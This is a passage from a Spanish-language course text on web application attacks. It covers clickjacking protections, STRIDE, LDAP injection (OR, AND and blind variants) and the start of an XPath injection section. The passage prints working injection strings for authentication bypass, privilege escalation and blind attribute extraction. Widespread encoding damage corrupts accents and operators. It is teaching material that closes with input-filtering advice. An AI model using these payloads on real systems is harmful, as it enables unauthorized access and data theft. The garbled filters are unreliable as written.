directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

